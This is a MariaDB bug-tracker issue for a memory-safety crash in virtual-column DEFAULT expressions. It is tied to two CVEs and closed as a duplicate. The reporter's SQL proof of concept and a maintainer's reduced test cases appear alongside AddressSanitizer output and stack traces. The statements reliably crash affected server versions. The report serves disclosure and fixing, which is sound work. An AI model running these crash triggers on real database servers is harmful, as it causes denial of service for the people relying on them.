MariaDB Server MDEV-28099

MariaDB UAP issue

Details

Type:	Bug
Status:	CLOSED (View Workflow)
Priority:	Blocker
Resolution:	Duplicate
Affects Version/s:	10.9.0, 10.2, 10.3, 10.4, 10.5, 10.6, 10.7
Fix Version/s:	10.3.35, 10.4.25, 10.5.16, (2)
Component/s:	Virtual Columns
Labels:	None
Environment:	Linux jie-2 5.4.143-1-pve #1 SMP PVE 5.4.143-1 (Tue, 28 Sep 2021 09:10:37 +0200) x86_64 x86_64 x86_64 GNU/Linux

Description

PoC:

```
CREATE TABLE v0 ( v1 INT UNIQUE PRIMARY KEY ) ;
DROP EVENT IF EXISTS v0 ;
UPDATE v0 SET v1 = -1 WHERE v1 = 'x' ORDER BY 'x' DESC LIMIT 93 ;
ALTER TABLE v0 ADD COLUMN ( MEMORY TINYBLOB DEFAULT ( v1 IN ( DAYNAME ( v1 ) , '' ,
 UPDATE v0 SET v1 = NULL WHERE ( IF ( v1 AND v1 , 72 , 30 ) ) ;
 INSERT IGNORE INTO v0 SET v1 = ( '' ) + ( ( 'x' / NULL = INET_ATON ( ( v1 OR 'x' )
```

report (compiled with ASAN):

```
=================================================================
==9569==ERROR: AddressSanitizer: use-after-poison on address 0x629000088404 at
READ of size 1 at 0x629000088404 thread T14
    #0 0x9086a0 in Binary_string::free_buffer() /root/mariadb/sql/sql_string.h:
    #1 0x9086a0 in Binary_string::free() /root/mariadb/sql/sql_string.h:680:5
    #2 0x9086a0 in Binary_string::~Binary_string() /root/mariadb/sql/sql_string
    #3 0x9086a0 in Arg_comparator::~Arg_comparator() /root/mariadb/sql/item_cmp
    #4 0x171733a in Item_bool_rowready_func2::~Item_bool_rowready_func2() /root
    #5 0x171733a in Item_func_eq::~Item_func_eq() /root/mariadb/sql/item_cmpfun
    #6 0xaefe90 in Item::delete_self() /root/mariadb/sql/item.h:2522:5
    #7 0xaefe90 in Query_arena::free_items() /root/mariadb/sql/sql_class.cc:383
    #8 0xaefe90 in THD::cleanup_after_query() /root/mariadb/sql/sql_class.cc:22
```

```
#9 0xc41ba9 in dispatch_command(enum_server_command, THD*, char*, unsigned
#10 0xc4b74b in do_command(THD*, bool) /root/mariadb/sql/sql_parse.cc:1402:
#11 0x111f9f2 in do_handle_one_connection(CONNECT*, bool) /root/mariadb/sql
#12 0x111f248 in handle_one_connection /root/mariadb/sql/sql_connect.cc:131
#13 0x1f3f9dd in pfs_spawn_thread /root/mariadb/storage/perfschema/pfs.cc:2
#14 0x7f2f26f57608 in start_thread /build/glibc-sMfBJT/glibc-2.31/nptl/pthr
```

Issue Links

duplicates

- MDEV-24176 Server crashes after insert in the table with virtual column ... CLOSED
- MDEV-26407 Server crashes in Item_func_in::cleanup/Item::cleanup_proc... CLOSED

relates to

- MDEV-23597 Assertion `marked_for_read()' failed while evaluating DEFA... CLOSED

links to

- CVE-2022-27447
- CVE-2022-27458

Activity

Alice Sherepa added a comment - 2022-03-16 13:31 - edited

Thanks!
I repeated on 10.2-10.9, with InnoDB/MyIsam, probably the same as ~~MDEV-26407~~

```
CREATE TABLE t1 (a int primary key, b int DEFAULT (1 IN (dayname(a),'2'))) ;
UPDATE t1 SET a = 1;
```

10.2 0f56e21efa68ba3b37d117

```
mysqld: /10.2/src/sql/field.cc:2203: virtual bool Field_num::get_date(MYSQ
220316 14:05:10 [ERROR] mysqld got signal 6 ;



Server version: 10.2.44-MariaDB-debug-log

/lib/x86_64-linux-gnu/libc.so.6(+0x34006)[0x7fcd927fe006]
sql/field.cc:2204(Field_num::get_date(st_mysql_time*, unsigned long long))
sql/item.cc:2841(Item_field::get_date(st_mysql_time*, unsigned long long))
```

10.2 0f56e21efa68ba3b37d117

```
sql/item.cc:151(Item::get_date_with_conversion(st_mysql_time*, unsigned lo
sql/item_timefunc.cc:1096(weekday_from_item(Item*, bool*, bool))[0x55841e2
sql/item_timefunc.cc:1126(Item_func_dayname::val_str(String*))[0x55841e211
sql/item_strfunc.cc:129(Item_str_func::val_real())[0x55841e15e1ab]
sql/item_cmpfunc.cc:3809(in_double::set(unsigned int, Item*))[0x55841e080b
sql/item_cmpfunc.cc:4218(Item_func_in::create_array(THD*))[0x55841e084507]
sql/item_cmpfunc.cc:4375(Item_func_in::fix_length_and_dec())[0x55841e0859e
sql/item_func.cc:230(Item_func::fix_fields(THD*, Item**))[0x55841e0df8a5]
```

on 10.4+:

10.4 069139a549a62f26d5

```
mysqld: /10.4/src/sql/field.cc:2130: virtual bool Field_int::get_date(MYSQ
220316 14:06:57 [ERROR] mysqld got signal 6 ;
Server version: 10.4.25-MariaDB-debug-log



/lib/x86_64-linux-gnu/libc.so.6(+0x34006)[0x7fa5e0944006]
sql/field.cc:2131(Field_int::get_date(st_mysql_time*, date_mode_t))[0x557d
sql/item.cc:3264(Item_field::get_date(THD*, st_mysql_time*, date_mode_t))[
sql/sql_type.cc:904(Temporal_with_date::make_from_item(THD*, Item*, date_m
sql/sql_type.h:1946(Temporal_with_date::Temporal_with_date(THD*, Item*, da
sql/sql_type.h:2226(Datetime::Datetime(THD*, Item*, date_mode_t))[0x557da6
sql/item_timefunc.cc:1143(Item_func_dayname::val_str(String*))[0x557da70f3
sql/item_strfunc.cc:150(Item_str_func::val_real())[0x557da7024b7a]
sql/item_cmpfunc.cc:3867(in_double::set(unsigned int, Item*))[0x557da6f2f4
sql/item_cmpfunc.cc:4431(Item_func_in::fix_in_vector())[0x557da6f3489d]
sql/item_cmpfunc.h:2400(Item_func_in::fix_for_scalar_comparison_using_bise
sql/sql_type.cc:5406(Type_handler_real_result::Item_func_in_fix_comparator
```

Similar with insert instead of update:

```
CREATE TABLE t1 (a int primary key, b int DEFAULT (1 IN (dayname(a),'2'))) ;
insert into t1(a) values (1);
```

If there is no index:

```
CREATE TABLE t1 (a int, b int DEFAULT (1 IN (dayname(a),'2'))) ;
insert into t1(a) values (1);
insert into t1(a) values (1);
```

10.2 0f56e21efa68ba3b37d117

```
Version: '10.2.44-MariaDB-debug-log'
```

10.2 0f56e21efa68ba3b37d117

```
==289599==ERROR: AddressSanitizer: use-after-poison on address 0x62b000000
READ of size 8 at 0x62b000000dd0 thread T27
    #0 0x56107b2b87c2 in Item_func_in::cleanup() /10.2/src/sql/item_cmpfun
    #1 0x56107af4bdbf in Item::cleanup_processor(void*) /10.2/src/sql/item
    #2 0x56107a6b5bea in Item::cleanup_excluding_fields_processor(void*) /
    #3 0x56107a7ccc80 in Item_func_or_sum::walk(bool (Item::*)(void*), boo
    #4 0x56107ab90429 in fix_session_vcol_expr(THD*, Virtual_column_info*)
    #5 0x56107a7b0bd6 in TABLE::fix_vcol_exprs(THD*) /10.2/src/sql/sql_bas
    #6 0x56107a7b10b2 in fix_all_session_vcol_exprs /10.2/src/sql/sql_base
    #7 0x56107a7b2184 in lock_tables(THD*, TABLE_LIST*, unsigned int, unsi
    #8 0x56107a7b0062 in open_and_lock_tables(THD*, DDL_options_st const&,
    #9 0x56107a7273e3 in open_and_lock_tables(THD*, TABLE_LIST*, bool, uns
    #10 0x56107a868149 in mysql_insert(THD*, TABLE_LIST*, List<Item>&, Lis
    #11 0x56107a8d1434 in mysql_execute_command(THD*) /10.2/src/sql/sql_pa
    #12 0x56107a8e9d0f in mysql_parse(THD*, char*, unsigned int, Parser_st
    #13 0x56107a8c2f14 in dispatch_command(enum_server_command, THD*, char
```

this test also crashes on non-debug:

10.6.7

```
Version: '10.6.7-MariaDB'
220316 14:01:32 [ERROR] mysqld got signal 11 ;

Server version: 10.6.7-MariaDB

sigaction.c:0(__restore_rt)[0x7ff91686b3c0]
sql/item_cmpfunc.h:2115(Predicant_to_list_comparator::Predicant_to_value_c
sql/item.cc:574(Item::cleanup_processor(void*))[0x564631a00cfa]
sql/table.cc:3624(fix_session_vcol_expr(THD*, Virtual_column_info*))[0x564
sql/sql_base.cc:5446(TABLE::fix_vcol_exprs(THD*))[0x56463175cc32]
sql/sql_base.cc:5480(lock_tables(THD*, TABLE_LIST*, unsigned int, unsigned
sql/sql_base.cc:5274(open_and_lock_tables(THD*, DDL_options_st const&, TAB
sql/sql_insert.cc:752(mysql_insert(THD*, TABLE_LIST*, List<Item>&, List<Li
sql/sql_parse.cc:4567(mysql_execute_command(THD*, bool))[0x5646317c6f48]
sql/sql_parse.cc:8030(mysql_parse(THD*, char*, unsigned int, Parser_state*
sql/sql_parse.cc:1955(dispatch_command(enum_server_command, THD*, char*, u
sql/sql_parse.cc:1406(do_command(THD*, bool))[0x5646317cce83]
sql/sql_connect.cc:1418(do_handle_one_connection(CONNECT*, bool))[0x564631
```

People

Assignee:

Sergei Golubchik

Reporter:

Jingzhou Fu

Votes:

0 Vote for this issue

Watchers:

3 Start watching this issue

Dates

Created:

2022-03-16 10:00

Updated:

2022-04-28 11:44

Resolved:

2022-04-28 11:42

Git Integration

Error rendering 'com.xiplink.jira.git.jira_git_plugin:git-issue-webpanel'. Please contact your Jira administrators.